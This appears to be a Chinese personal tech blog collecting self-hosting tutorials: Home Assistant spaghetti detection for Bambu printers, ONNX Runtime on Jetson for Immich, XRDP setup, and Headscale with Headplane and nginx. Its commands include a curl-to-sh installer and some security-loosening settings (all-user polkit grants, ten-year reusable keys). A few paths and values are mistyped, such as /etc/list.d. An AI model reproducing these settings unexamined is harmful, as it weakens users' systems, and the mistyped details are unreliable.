    image: homeassistant/home-assistant:latest
    container_name: homeassistant
    restart: always
    volumes:
      - ./config:/config
    environment:
      - TZ=Asia/Shanghai
    ports:
      - "8123:8123"

  ha_bambu_lab_p1_spaghetti_detection:
    image: nberk/ha_bambu_lab_p1_spaghetti_detection_standalone:latest
    container_name: ha_bambu_lab_p1_spaghetti_detection
    restart: unless-stopped
    environment:
      - ML_API_TOKEN=bambu_nb
      - TZ=Asia/Shanghai
    ports:
      - "3333:3333"

如果需要 NVIDIA GPU 加速，我们首先需要安装 NVIDIA Container Toolkit

curl -fsSL https://nvidia.github.io/libnvidia-container/gpgkey | sudo gpg --dearmor -o /usr/share/keyrings/nvidia-container-toolkit-keyring.gpg \
  && curl -s -L https://nvidia.github.io/libnvidia-container/stable/deb/nvidia-container-toolkit.list | \
    sed 's#deb https://#deb [signed-by=/usr/share/keyrings/nvidia-container-toolkit-keyring.gpg] https://#g' | \
    sudo tee /etc/list.d/nvidia-container-toolkit.list
sudo apt-get update
sudo apt-get install -y nvidia-container-toolkit
sudo nvidia-ctk runtime configure --runtime=docker
sudo systemctl restart docker

然后修改 compose 文件，添加 deploy 如下所示

ha_bambu_lab_p1_spaghetti_detection:
    image: nberk/ha_bambu_lab_p1_spaghetti_detection_standalone:latest
    container_name: ha_bambu_lab_p1_spaghetti_detection
    restart: unless-stopped
    environment:
      - ML_API_TOKEN=bambu_nb
      - TZ=Asia/Shanghai
    ports:
      - "3333:3333"
    deploy:
      resources:
        reservations:
          devices:
            - driver: nvidia
              count: all
              capabilities: [gpu]

然后重启docker，可以看到日志中已经成功启用了 CUDA

sudo docker-compose up -d
sudo docker logs ha_bambu_lab_p1_spaghetti_detection

如需手动测试可以通过此脚本来测试（内嵌了一张炒面图片URL用于测试）

安装 Obico_ML For Jetson Orin

接下来是如何在边缘设备 Jetson Orin 系列上端侧部署，需要 Jetpack > 6，因为 Jetpack 5 可以使用官方文档的方法，也很简单，但由于我手边暂时没有板子跑着5，所以就不测试了

本机配置如下

Jetson Orin NX 16G
Ubuntu 22.04
Jetpack 6.2.1
L4T 36.4.7
CUDA 12.6.68
cuDNN 9.3.0.75
TensorRT 10.3.0.30

拉取项目并构建镜像

git clone https://github.com/Shattered217/obico-server.git
cd obico-server/ml_api/
bash scripts/build_jetson.sh

构建大概需要二十分钟（大部分都是拉取，与网速有关）

最后是测试启动容器！一次成功！（没问题可以Ctrl+C先停止）

bash scripts/run_jetson.sh

我们可以编写一个 compose 文件来方便管理这个容器

version: '3.8'

services:
  ml-api:
    image: obico-ml-api:jetson
    container_name: obico_ml_api
    runtime: nvidia
    ports:
      - "3333:3333"
    environment:
      - ML_API_TOKEN=bambu_nb
    restart: unless-stopped

配置自动化

接下来我们回到HA，进入设置 - 自动化与场景 - 蓝图，选择之前导入的 Bambu 蓝图进行配置

跟着提示按实际填写即可

Home Assistant Host HA的地址
Obico ML API Host 刚刚配置的Obico ML的地址
Obico ML API Auth Token docker中配置的认证密钥 token
Printer Print Status Sensor 打印状态
Printer Current Stage Sensor 当前阶段
Printer Camera Entity 摄像头
Printer Pause Button Entity 暂停按钮
Printer Resume Button Entity 恢复按钮
Printer Stop Button Entity 停止按钮
Printer Chamber Light 机箱灯

TG 推送蓝图

上面的蓝图是通过HA官方APP来推送通知，我这边魔改了一个通过TG推送通知并控制的蓝图，通过此链接导入，区别是需要能通过公网来访问HA，其实上面的也需要，不然你在外面岂不是收不到消息了（

设置流程多了一个需要去集成中添加 Telegram Bot，注意一定要选择“投票”，即轮询，这样才能接收到用户发送的指令，添加完后在蓝图中就可以选择了

Jetson Orin Nano编译ONNX Runtime GPU

Mon, 03 Nov 2025 00:00:00 GMT

本机实验配置 (Release中有编译好的whl)

编译环境准备

最新版ONNX需要 CMake > 3.28, GCC 11

升级 CMake

sudo apt purge cmake -y
sudo apt install -y apt-transport-https ca-certificates gnupg software-properties-common wget
wget -O - https://apt.kitware.com/keys/kitware-archive-latest.asc 2>/dev/null | \
  gpg --dearmor - | sudo tee /usr/share/keyrings/kitware-archive-keyring.gpg >/dev/null
echo 'deb [signed-by=/usr/share/keyrings/kitware-archive-keyring.gpg] https://apt.kitware.com/ubuntu/ jammy main' | \
  sudo tee /etc/apt/sources.list.d/kitware.list >/dev/null
sudo apt update
sudo apt install -y cmake
cmake --version

升级 GCC 到 11

sudo apt update
sudo apt install -y gcc-11 g++-11
sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-10 100
sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-11 110
sudo update-alternatives --install /usr/bin/g++ g++ /usr/bin/g++-10 100
sudo update-alternatives --install /usr/bin/g++ g++ /usr/bin/g++-11 110
gcc --version

编译ONNX

git clone --recursive https://github.com/microsoft/onnxruntime
cd onnxruntime
./build.sh --config Release \
  --update --build --parallel --build_wheel \
  --use_tensorrt --use_cuda \
  --cuda_home /usr/local/cuda \
  --cudnn_home /usr/lib/aarch64-linux-gnu \
  --tensorrt_home /usr/lib/aarch64-linux-gnu \
  --cmake_extra_defines CMAKE_CUDA_ARCHITECTURES=87

编译到90%+会失败，不用担心，只是测试失败了，删除测试就好了（

rm -f onnxruntime/test/providers/cpu/nn/conv_fp16_test.cc
cmake --build build/Linux/Release --config Release -j$(nproc)
./build.sh --config Release \
  --update --build --parallel --build_wheel --skip_tests \
  --use_tensorrt --use_cuda \
  --cuda_home /usr/local/cuda \
  --cudnn_home /usr/lib/aarch64-linux-gnu \
  --tensorrt_home /usr/lib/aarch64-linux-gnu

安装并测试ONNXruntime-GPU

我这里使用的是UV管理环境

uv pip install ~/onnxruntime/build/Linux/Release/dist/onnxruntime_gpu-*

测试代码

python3 - <<'EOF'
import onnxruntime as ort
print("ONNX Runtime:", ort.__version__)
print("Available providers:", ort.get_available_providers())
print("Default device:", ort.get_device())
EOF

恭喜 TensorRT 和 CUDA 都已启用加速（在Jetson平台上这条 W：警告⚠️可以忽略）

推理immich-machine-learning

安装UV

curl -LsSf https://astral.sh/uv/install.sh | sh

拉取代码

git clone https://github.com/immich-app/immich.git
cd immich/machine-learning

找到pyproject.toml修改依赖文件，将 cuda = ["onnxruntime-gpu>=1.17.0,<2"] 中的 -gpu 删掉，以及注释掉以下代码

#[[tool.uv.index]]
#name = "cuda12"
#url = "https://aiinfra.pkgs.visualstudio.com/PublicPackages/_packaging/#onnxruntime-cuda-12/pypi/simple/"
#explicit = true
#
#[tool.uv.sources]
#onnxruntime-gpu = { index = "cuda12" }

然后执行代码安装CPU版本的onnxruntime，目的是马上替换我们上面编译好的GPU版本

uv sync --extra cuda
source .venv/bin/activate
uv pip uninstall onnxruntime
uv pip install ~/onnxruntime/build/Linux/Release/dist/onnxruntime_gpu-*

在目录下新建一个.env就可以开始跑了

export MACHINE_LEARNING_GPU_ACCELERATION=cuda
export NVIDIA_VISIBLE_DEVICES=all
export IMMICH_PORT=3003

启动项目

python3 -m immich_ml

Ubuntu20.04 XRDP配置

Sun, 05 Oct 2025 00:00:00 GMT

安装XRDP

sudo apt update
sudo apt install xrdp xserver-xorg-core xserver-xorg-input-all xorgxrdp
sudo adduser xrdp ssl-cert
sudo systemctl restart xrdp

配置XRDP

编辑 /etc/xrdp/startwm.sh，在test -x /etc/X11/Xsession && exec /etc/X11/Xsession 前添加以下内容

unset DBUS_SESSION_BUS_ADDRESS
unset XDG_RUNTIME_DIR

指定桌面环境

echo gnome-session > ~/.xsession
cat <<EOF > ~/.xsessionrc
export GNOME_SHELL_SESSION_MODE=ubuntu
export XDG_CURRENT_DESKTOP=ubuntu:GNOME
export XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg
EOF

输入以下内容以解决登录需要频繁输入密码

sudo tee /etc/polkit-1/localauthority/50-local.d/45-allow-colord.pkla > /dev/null <<'EOF'
[Allow Colord all Users]
Identity=unix-user:*
Action=org.freedesktop.color-manager.create-device;org.freedesktop.color-manager.create-profile;org.freedesktop.color-manager.delete-device;org.freedesktop.color-manager.delete-profile;org.freedesktop.color-manager.modify-device;org.freedesktop.color-manager.modify-profile
ResultAny=no
ResultInactive=no
ResultActive=yes
EOF

sudo tee /etc/polkit-1/localauthority/50-local.d/46-allow-update-repo.pkla > /dev/null <<'EOF'
[Allow Package Management all Users]
Identity=unix-user:*
Action=org.freedesktop.packagekit.system-sources-refresh
ResultAny=yes
ResultInactive=yes
ResultActive=yes
EOF

sudo systemctl restart xrdp

登录XRDP

Windows搜索RDP即可

输入主机的IP、用户名、勾选允许我保存凭据，然后输入密码后即可进入

国内云 Headscale 0.26.1 组网方案教程

Fri, 26 Sep 2025 00:00:00 GMT

本次使用的云服务商雨云宁波地区

Docker安装Headscale

首先先安装docker-compose

apt update
apt upgrade -y
apt install docker-compose

配置Headscale以及HeadPlane（仿Tailscale前端控制面板），文件位于/opt/headscale/docker-compose.yaml

version: '3'

services:
  headscale:
    image: headscale/headscale:0.26.1
    container_name: headscale
    command: serve
    restart: unless-stopped
    volumes:
      - /opt/headscale/config:/etc/headscale/
      - /opt/headscale/data:/var/lib/headscale/
    network_mode: host

  headplane:
    image: ghcr.nju.edu.cn/tale/headplane:0.6.0
    container_name: headplane
    restart: unless-stopped
    ports:
      - "8091:3000"
    volumes:
      - /opt/headscale/headplane/config.yaml:/etc/headplane/config.yaml

      # Headplane stores its data in this directory
      - /opt/headscale/headplane/headplane-data:/var/lib/headplane

      # If you are using the Docker integration, mount the Docker socket
      - /var/run/docker.sock:/var/run/docker.sock:ro

创建以下目录和文件后拉取一下镜像

touch /opt/headscale/config/config.yaml
touch /opt/headscale/config/extra-records.json
touch /opt/headscale/headplane/config.yaml
cd /opt/headscale
docker-compose up -d

然后配置/opt/headscale/config/config.yaml，务必修改“你的域名”和“你的IP”两个地方，其余可根据自己的需求修改

---
# headscale will look for a configuration file named `config.yaml` (or `config.json`) in the following order:
#
# - `/etc/headscale`
# - `~/.headscale`
# - current working directory

# The url clients will connect to.
# Typically this will be a domain like:
#
# https://myheadscale.example.com:443
#
server_url: https://你的域名:443

# Address to listen to / bind to on the server
#
# For production:
# listen_addr: 0.0.0.0:8080
listen_addr: 0.0.0.0:8080

# Address to listen to /metrics and /debug, you may want
# to keep this endpoint private to your internal network
metrics_listen_addr: 0.0.0.0:9090

# Address to listen for gRPC.
# gRPC is used for controlling a headscale server
# remotely with the CLI
# Note: Remote access _only_ works if you have
# valid certificates.
#
# For production:
# grpc_listen_addr: 0.0.0.0:50443
grpc_listen_addr: 0.0.0.0:50443

# Allow the gRPC admin interface to run in INSECURE
# mode. This is not recommended as the traffic will
# be unencrypted. Only enable if you know what you
# are doing.
grpc_allow_insecure: false

# The Noise section includes specific configuration for the
# TS2021 Noise protocol
noise:
  # The Noise private key is used to encrypt the traffic between headscale and
  # Tailscale clients when using the new Noise-based protocol. A missing key
  # will be automatically generated.
  private_key_path: /var/lib/headscale/noise_private.key

# List of IP prefixes to allocate tailaddresses from.
# Each prefix consists of either an IPv4 or IPv6 address,
# and the associated prefix length, delimited by a slash.
# It must be within IP ranges supported by the Tailscale
# client - i.e., subnets of 100.64.0.0/10 and fd7a:115c:a1e0::/48.
# See below:
# IPv6: https://github.com/tailscale/tailscale/blob/22ebb25e833264f58d7c3f534a8b166894a89536/net/tsaddr/tsaddr.go#LL81C52-L81C71
# IPv4: https://github.com/tailscale/tailscale/blob/22ebb25e833264f58d7c3f534a8b166894a89536/net/tsaddr/tsaddr.go#L33
# Any other range is NOT supported, and it will cause unexpected issues.
prefixes:
  v4: 100.17.0.0/10
  v6: fd7a:115c:a1e0::/48

  # Strategy used for allocation of IPs to nodes, available options:
  # - sequential (default): assigns the next free IP from the previous given IP.
  # - random: assigns the next free IP from a pseudo-random IP generator (crypto/rand).
  allocation: sequential

# DERP is a relay system that Tailscale uses when a direct
# connection cannot be established.
# https://tailscale.com/blog/how-tailscale-works/#encrypted-tcp-relays-derp
#
# headscale needs a list of DERP servers that can be presented
# to the clients.
derp:
  server:
    # If enabled, runs the embedded DERP server and merges it into the rest of the DERP config
    # The Headscale server_url defined above MUST be using https, DERP requires TLS to be in place
    enabled: true

    # Region ID to use for the embedded DERP server.
    # The local DERP prevails if the region ID collides with other region ID coming from
    # the regular DERP config.
    region_id: 999

    # Region code and name are displayed in the Tailscale UI to identify a DERP region
    region_code: "headscale"
    region_name: "Headscale Embedded DERP"

    # Listens over UDP at the configured address for STUN connections - to help with NAT traversal.
    # When the embedded DERP server is enabled stun_listen_addr MUST be defined.
    #
    # For more details on how this works, check this great article: https://tailscale.com/blog/how-tailscale-works/
    stun_listen_addr: "0.0.0.0:3478"

    # Private key used to encrypt the traffic between headscale DERP and
    # Tailscale clients. A missing key will be automatically generated.
    private_key_path: /var/lib/headscale/derp_server_private.key

    # This flag can be used, so the DERP map entry for the embedded DERP server is not written automatically,
    # it enables the creation of your very own DERP map entry using a locally available file with the parameter DERP.paths
    # If you enable the DERP server and set this to false, it is required to add the DERP server to the DERP map using DERP.paths
    automatically_add_embedded_derp_region: true

    # For better connection stability (especially when using an Exit-Node and DNS is not working),
    # it is possible to optionally add the public IPv4 and IPv6 address to the Derp-Map using:
    ipv4: 你的IP

  # List of externally available DERP maps encoded in JSON
  urls:
    - https://controlplane.tailscale.com/derpmap/default

  # Locally available DERP map files encoded in YAML
  #
  # This option is mostly interesting for people hosting
  # their own DERP servers:
  # https://tailscale.com/kb/1118/custom-derp-servers/
  #
  # paths:
  #   - /etc/headscale/derp-example.yaml
  #paths: ["/etc/headscale/derp.yaml"]

  # If enabled, a worker will be set up to periodically
  # refresh the given sources and update the derpmap
  # will be set up.
  auto_update_enabled: true

  # How often should we check for DERP updates?
  update_frequency: 24h

# Disables the automatic check for headscale updates on startup
disable_check_updates: false

# Time before an inactive ephemeral node is deleted?
ephemeral_node_inactivity_timeout: 30m

database:
  # Database type. Available options: sqlite, postgres
  # Please note that using Postgres is highly discouraged as it is only supported for legacy reasons.
  # All new development, testing and optimisations are done with SQLite in mind.
  type: sqlite

  # Enable debug mode. This setting requires the log.level to be set to "debug" or "trace".
  debug: false

  # GORM configuration settings.
  gorm:
    # Enable prepared statements.
    prepare_stmt: true

    # Enable parameterized queries.
    parameterized_queries: true

    # Skip logging "record not found" errors.
    skip_err_record_not_found: true

    # Threshold for slow queries in milliseconds.
    slow_threshold: 1000

  # SQLite config
  sqlite:
    path: /var/lib/headscale/db.sqlite

    # Enable WAL mode for SQLite. This is recommended for production environments.
    # https://www.sqlite.org/wal.html
    write_ahead_log: true

    # Maximum number of WAL file frames before the WAL file is automatically checkpointed.
    # https://www.sqlite.org/c3ref/wal_autocheckpoint.html
    # Set to 0 to disable automatic checkpointing.
    wal_autocheckpoint: 1000

  # # Postgres config
  # Please note that using Postgres is highly discouraged as it is only supported for legacy reasons.
  # See database.type for more information.
  # postgres:
  #   # If using a Unix socket to connect to Postgres, set the socket path in the 'host' field and leave 'port' blank.
  #   host: localhost
  #   port: 5432
  #   name: headscale
  #   user: foo
  #   pass: bar
  #   max_open_conns: 10
  #   max_idle_conns: 10
  #   conn_max_idle_time_secs: 3600

  #   # If other 'sslmode' is required instead of 'require(true)' and 'disabled(false)', set the 'sslmode' you need
  #   # in the 'ssl' field. Refers to https://www.postgresql.org/docs/current/libpq-ssl.html Table 34.1.
  #   ssl: false

### TLS configuration
#
## Let's encrypt / ACME
#
# headscale supports automatically requesting and setting up
# TLS for a domain with Let's Encrypt.
#
# URL to ACME directory
acme_url: https://acme-v02.api.letsencrypt.org/directory

# Email to register with ACME provider
acme_email: ""

# Domain name to request a TLS certificate for:
tls_letsencrypt_hostname: ""

# Path to store certificates and metadata needed by
# letsencrypt
# For production:
tls_letsencrypt_cache_dir: /var/lib/headscale/cache

# Type of ACME challenge to use, currently supported types:
# HTTP-01 or TLS-ALPN-01
# See: docs/ref/tls.md for more information
tls_letsencrypt_challenge_type: HTTP-01
# When HTTP-01 challenge is chosen, letsencrypt must set up a
# verification endpoint, and it will be listening on:
# :http = port 80
tls_letsencrypt_listen: ":http"

## Use already defined certificates:
tls_cert_path: ""
tls_key_path: ""

log:
  # Output formatting for logs: text or json
  format: text
  level: info

## Policy
# headscale supports Tailscale's ACL policies.
# Please have a look to their KB to better
# understand the concepts: https://tailscale.com/kb/1018/acls/
policy:
  # The mode can be "file" or "database" that defines
  # where the ACL policies are stored and read from.
  mode: database
  # If the mode is set to "file", the path to a
  # HuJSON file containing ACL policies.
  #path: "/etc/headscale/acl.hujson"

## DNS
#
# headscale supports Tailscale's DNS configuration and MagicDNS.
# Please have a look to their KB to better understand the concepts:
#
# - https://tailscale.com/kb/1054/dns/
# - https://tailscale.com/kb/1081/magicdns/
# - https://tailscale.com/blog/2021-09-private-dns-with-magicdns/
#
# Please note that for the DNS configuration to have any effect,
# clients must have the `--accept-dns=true` option enabled. This is the
# default for the Tailscale client. This option is enabled by default
# in the Tailscale client.
#
# Setting _any_ of the configuration and `--accept-dns=true` on the
# clients will integrate with the DNS manager on the client or
# overwrite /etc/resolv.conf.
# https://tailscale.com/kb/1235/resolv-conf
#
# If you want stop Headscale from managing the DNS configuration
# all the fields under `dns` should be set to empty values.
dns:
  # Whether to use [MagicDNS](https://tailscale.com/kb/1081/magicdns/).
  magic_dns: true

  # Defines the base domain to create the hostnames for MagicDNS.
  # This domain _must_ be different from the server_url domain.
  # `base_domain` must be a FQDN, without the trailing dot.
  # The FQDN of the hosts will be
  # `hostname.base_domain` (e.g., _myhost.example.com_).
  base_domain: ts.net

  # Whether to use the local DNS settings of a node (default) or override the
  # local DNS settings and force the use of Headscale's DNS configuration.
  override_local_dns: false

  # List of DNS servers to expose to clients.
  nameservers:
    #global:
    #  - 1.1.1.1
    #  - 1.0.0.1
    #  - 2606:4700:4700::1111
    #  - 2606:4700:4700::1001

      # NextDNS (see https://tailscale.com/kb/1218/nextdns/).
      # "abc123" is example NextDNS ID, replace with yours.
      # - https://dns.nextdns.io/abc123

    # Split DNS (see https://tailscale.com/kb/1054/dns/),
    # a map of domains and which DNS server to use for each.
    #split:
    #  {}
      # foo.bar.com:
      #   - 1.1.1.1
      # darp.headscale.net:
      #   - 1.1.1.1
      #   - 8.8.8.8

  # Set custom DNS search domains. With MagicDNS enabled,
  # your tailnet base_domain is always the first search domain.
  #search_domains: []

  # Extra DNS records
  # so far only A and AAAA records are supported (on the tailscale side)
  # See: docs/ref/dns.md
  #extra_records: []
  #   - name: "grafana.myvpn.example.com"
  #     type: "A"
  #     value: "100.64.0.3"
  #
  #   # you can also put it in one line
  #   - { name: "prometheus.myvpn.example.com", type: "A", value: "100.64.0.3" }
  #
  # Alternatively, extra DNS records can be loaded from a JSON file.
  # Headscale processes this file on each change.
  extra_records_path: /etc/headscale/extra-records.json

# Unix socket used for the CLI to connect without authentication
# Note: for production you will want to set this to something like:
unix_socket: /var/run/headscale/headscale.sock
unix_socket_permission: "0770"
#
# headscale supports experimental OpenID connect support,
# it is still being tested and might have some bugs, please
# help us test it.
# OpenID Connect
# oidc:
#   only_start_if_oidc_is_available: true
#   issuer: "https://your-oidc.issuer.com/path"
#   client_id: "your-oidc-client-id"
#   client_secret: "your-oidc-client-secret"
#   # Alternatively, set `client_secret_path` to read the secret from the file.
#   # It resolves environment variables, making integration to systemd's
#   # `LoadCredential` straightforward:
#   client_secret_path: "${CREDENTIALS_DIRECTORY}/oidc_client_secret"
#   # client_secret and client_secret_path are mutually exclusive.
#
#   # The amount of time from a node is authenticated with OpenID until it
#   # expires and needs to reauthenticate.
#   # Setting the value to "0" will mean no expiry.
#   expiry: 180d
#
#   # Use the expiry from the token received from OpenID when the user logged
#   # in, this will typically lead to frequent need to reauthenticate and should
#   # only been enabled if you know what you are doing.
#   # Note: enabling this will cause `oidc.expiry` to be ignored.
#   use_expiry_from_token: false
#
#   # Customize the scopes used in the OIDC flow, defaults to "openid", "profile" and "email" and add custom query
#   # parameters to the Authorize Endpoint request. Scopes default to "openid", "profile" and "email".
#
#   scope: ["openid", "profile", "email", "custom"]
#   extra_params:
#     domain_hint: example.com
#
#   # List allowed principal domains and/or users. If an authenticated user's domain is not in this list, the
#   # authentication request will be rejected.
#
#   allowed_domains:
#     - example.com
#   # Note: Groups from keycloak have a leading '/'
#   allowed_groups:
#     - /headscale
#   allowed_users:
#     - alice@example.com
#
#   # Optional: PKCE (Proof Key for Code Exchange) configuration
#   # PKCE adds an additional layer of security to the OAuth 2.0 authorization code flow
#   # by preventing authorization code interception attacks
#   # See https://datatracker.ietf.org/doc/html/rfc7636
#   pkce:
#     # Enable or disable PKCE support (default: false)
#     enabled: false
#     # PKCE method to use:
#     # - plain: Use plain code verifier
#     # - S256: Use SHA256 hashed code verifier (default, recommended)
#     method: S256
#
#   # Map legacy users from pre-0.24.0 versions of headscale to the new OIDC users
#   # by taking the username from the legacy user and matching it with the username
#   # provided by the OIDC. This is useful when migrating from legacy users to OIDC
#   # to force them using the unique identifier from the OIDC and to give them a
#   # proper display name and picture if available.
#   # Note that this will only work if the username from the legacy user is the same
#   # and there is a possibility for account takeover should a username have changed
#   # with the provider.
#   # When this feature is disabled, it will cause all new logins to be created as new users.
#   # Note this option will be removed in the future and should be set to false
#   # on all new installations, or when all users have logged in with OIDC once.
#   map_legacy_users: false

# Logtail configuration
# Logtail is Tailscales logging and auditing infrastructure, it allows the control panel
# to instruct tailscale nodes to log their activity to a remote server.
logtail:
  # Enable logtail for this headscales clients.
  # As there is currently no support for overriding the log server in headscale, this is
  # disabled by default. Enabling this will make your clients send logs to Tailscale Inc.
  enabled: false

# Enabling this option makes devices prefer a random port for WireGuard traffic over the
# default static port 41641. This option is intended as a workaround for some buggy
# firewall devices. See https://tailscale.com/kb/1181/firewalls/ for more information.
randomize_client_port: true

配置Headscale

Headscale 控制示例

docker exec -it headscale \
  headscale preauthkeys --help

创建用户，（注意用户下面可以放很多设备，这里的是用户名不是设备名

docker exec -it headscale \
  headscale users create 你的英文名

创建一个属于第一个用户的长达十年的密钥用于设备认证

docker exec -it headscale \
  headscale preauthkeys create --user 1 --reusable --expiration 10y

创建apikey用于前端的认证

docker exec -it headscale \
  headscale apikeys create

配置HeadPlane

配置 /opt/headscale/headplane/config.yaml，需要配置如下字段

server: cookie_secret
headscale: url
integration: pre_authkey

# Configuration for the Headplane server and web application
server:
  host: "0.0.0.0"
  port: 3000

  # The secret used to encode and decode web sessions
  # Ensure that this is exactly 32 characters long
  cookie_secret: "随机生成一个32位的密码"

  # Should the cookies only work over HTTPS?
  # Set to false if running via HTTP without a proxy
  # (I recommend this is true in production)
  cookie_secure: true

# Headscale specific settings to allow Headplane to talk
# to Headscale and access deep integration features
headscale:
  # The URL to your Headscale instance
  # (All API requests are routed through this URL)
  # (THIS IS NOT the gRPC endpoint, but the HTTP endpoint)
  #
  # IMPORTANT: If you are using TLS this MUST be set to `https://`
  url: "https://你的域名"

  # If you use the TLS configuration in Headscale, and you are not using
  # Let's Encrypt for your certificate, pass in the path to the certificate.
  # (This has no effect `url` does not start with `https://`)
  # tls_cert_path: "/var/lib/headplane/tls.crt"

  # Optional, public URL if they differ
  # This affects certain parts of the web UI
  # public_url: "https://headscale.example.com"

  # Path to the Headscale configuration file
  # This is optional, but HIGHLY recommended for the best experience
  # If this is read only, Headplane will show your configuration settings
  # in the Web UI, but they cannot be changed.
  config_path: "/etc/headscale/config.yaml"

  # Headplane internally validates the Headscale configuration
  # to ensure that it changes the configuration in a safe way.
  # If you want to disable this validation, set this to false.
  config_strict: true

  # If you are using `dns.extra_records_path` in your Headscale
  # configuration, you need to set this to the path for Headplane
  # to be able to read the DNS records.
  #
  # Pass it in if using Docker and ensure that the file is both
  # readable and writable to the Headplane process.
  # When using this, Headplane will no longer need to automatically
  # restart Headscale for DNS record changes.
  # dns_records_path: "/var/lib/headplane/extra_records.json"

# Integration configurations for Headplane to interact with Headscale
integration:
  agent:
    # The Headplane agent allows retrieving information about nodes
    # This allows the UI to display version, OS, and connectivity data
    # You will see the Headplane agent in your Tailnet as a node when
    # it connects.
    enabled: true
    # To connect to your Tailnet, you need to generate a pre-auth key
    # This can be done via the web UI or through the `headscale` CLI.
    pre_authkey: "刚刚在Headscale生成的apikey"
    # Optionally change the name of the agent in the Tailnet.
    # host_name: "headplane-agent"

    # Configure different caching settings. By default, the agent will store
    # caches in the path below for a maximum of 1 minute. If you want data
    # to update faster, reduce the TTL, but this will increase the frequency
    # of requests to Headscale.
    # cache_ttl: 60
    # cache_path: /var/lib/headplane/agent_cache.json

    # Do not change this unless you are running a custom deployment.
    # The work_dir represents where the agent will store its data to be able
    # to automatically reauthenticate with your Tailnet. It needs to be
    # writable by the user running the Headplane process.
    # work_dir: "/var/lib/headplane/agent"

  # Only one of these should be enabled at a time or you will get errors
  # This does not include the agent integration (above), which can be enabled
  # at the same time as any of these and is recommended for the best experience.
  docker:
    enabled: false

    # By default we check for the presence of a container label (see the docs)
    # to determine the container to signal when changes are made to DNS settings.
    container_label: "me.tale.headplane.target=headscale"

    # HOWEVER, you can fallback to a container name if you desire, but this is
    # not recommended as its brittle and doesn't work with orchestrators that
    # automatically assign container names.
    #
    # If `container_name` is set, it will override any label checks.
    # container_name: "headscale"

    # The path to the Docker socket (do not change this if you are unsure)
    # Docker socket paths must start with unix:// or tcp:// and at the moment
    # https connections are not supported.
    socket: "unix:///var/run/docker.sock"

  # Please refer to docs/integration/Kubernetes.md for more information
  # on how to configure the Kubernetes integration. There are requirements in
  # order to allow Headscale to be controlled by Headplane in a cluster.
  kubernetes:
    enabled: false
    # Validates the manifest for the Pod to ensure all of the criteria
    # are set correctly. Turn this off if you are having issues with
    # shareProcessNamespace not being validated correctly.
    validate_manifest: true
    # This should be the name of the Pod running Headscale and Headplane.
    # If this isn't static you should be using the Kubernetes Downward API
    # to set this value (refer to docs/Integrated-Mode.md for more info).
    pod_name: "headscale"

  # Proc is the "Native" integration that only works when Headscale and
  # Headplane are running outside of a container. There is no configuration,
  # but you need to ensure that the Headplane process can terminate the
  # Headscale process.
  #
  # (If they are both running under systemd as sudo, this will work).
  proc:
    enabled: false

# OIDC Configuration for simpler authentication
# (This is optional, but recommended for the best experience)
oidc:
  issuer: "https://accounts.google.com"
  client_id: "your-client-id"

  # The client secret for the OIDC client
  # Either this or `client_secret_path` must be set for OIDC to work
  client_secret: "<your-client-secret>"
  # You can alternatively set `client_secret_path` to read the secret from disk.
  # The path specified can resolve environment variables, making integration
  # with systemd's `LoadCredential` straightforward:
  # client_secret_path: "${CREDENTIALS_DIRECTORY}/oidc_client_secret"

  disable_api_key_login: false
  token_endpoint_auth_method: "client_secret_post"

  # If you are using OIDC, you need to generate an API key
  # that can be used to authenticate other sessions when signing in.
  #
  # This can be done with `headscale apikeys create --expiration 999d`
  headscale_api_key: "<your-headscale-api-key>"

  # Optional, but highly recommended otherwise Headplane
  # will attempt to automatically guess this from the issuer
  #
  # This should point to your publicly accessibly URL
  # for your Headplane instance with /admin/oidc/callback
  redirect_uri: "http://localhost:3000/admin/oidc/callback"

  # Stores the users and their permissions for Headplane
  # This is a path to a JSON file, default is specified below.
  user_storage_file: "/var/lib/headplane/users.json"

重启一下容器，看一下logs没问题就跑起来了

配置反向代理

安装NGINX

apt install nginx

配置服务 /etc/nginx/conf.d/headscale.conf

server {
        server_name 你的域名;

        # Security / XSS Mitigation Headers
        add_header X-Frame-Options "SAMEORIGIN";
        add_header X-XSS-Protection "1; mode=block";
        add_header X-Content-Type-Options "nosniff";

        location /admin {
            proxy_redirect off;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_pass http://127.0.0.1:8091;
        }

        location / {
            proxy_pass http://127.0.0.1:8080;
            proxy_http_version 1.1;
            proxy_set_header Upgrade $http_upgrade;
            proxy_set_header Connection "upgrade";
            proxy_set_header Host $host;
            proxy_redirect http:// https://;
            proxy_buffering off;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto $http_x_forwarded_proto;
            add_header Strict-Transport-Security "max-age=15552000; includeSubDomains" always;
        }

        listen 443 ssl;
        listen [::]:443 ssl;
        ssl_certificate /root/.acme.sh/你的证书;
        ssl_certificate_key /root/.acme.sh/你的证书密钥;

}
server {
    if ($host = 你的域名) {
        return 301 https://$host$request_uri;
    } # managed by Certbot


    listen 80;
    listen [::]:80;
    server_name 你的域名;
    return 404;
}

应用配置

nginx -t
systemctl reload nginx

访问HeadPlane控制台

http://你的域名/damin，输入之前生成的apikey

使用预授权密钥认证设备

不管是Win端还是Linux端都是先在官网安装软件Download | Tailscale，然后在控制台输入

tailscale up --login-server https://你的域名 --authkey 生成的十年密钥

进阶配置

自建derp配置文件示例 /opt/headscale/config/derp.yaml

regions:
  901:
    regionid: 901
    regioncode: cn-cd
    regionname: 中国-成都
    nodes:
      - name: 1
        regionid: 901
        hostname: 221.0.0.0
        ipv4: 221.0.0.0
        stunport: 34788
        stunonly: false
        derpport: 64500
        insecurefortests: true

自建derp的compose文件（注意Headscale端自带不需要另外装derp 但必须启用https），首先先安装一个tailscale，然后通过预授权密钥登录，即可实现防偷

services:
  derp:
    image: ghcr.nju.edu.cn/yangchuansheng/ip_derper:latest
    container_name: derp
    restart: always
    ports:
      - "64500:64500"
      - "64500:64500/udp"
      - "34788:3478/udp" # 3478 为默认stun端口，如果不冲突请勿修改
    volumes:
      - /var/run/tailscale/tailscaled.sock:/var/run/tailscale/tailscaled.sock # 映射本地 tailscale 客户端验证连接，用来验证是否被偷
    environment:
      - DERP_ADDR=:64500 # 此处需要与上面的同步修改
      - DERP_CERTS=/app/certs
      - DERP_VERIFY_CLIENTS=true # 启动客户端验证，这是防偷的最重要的参数

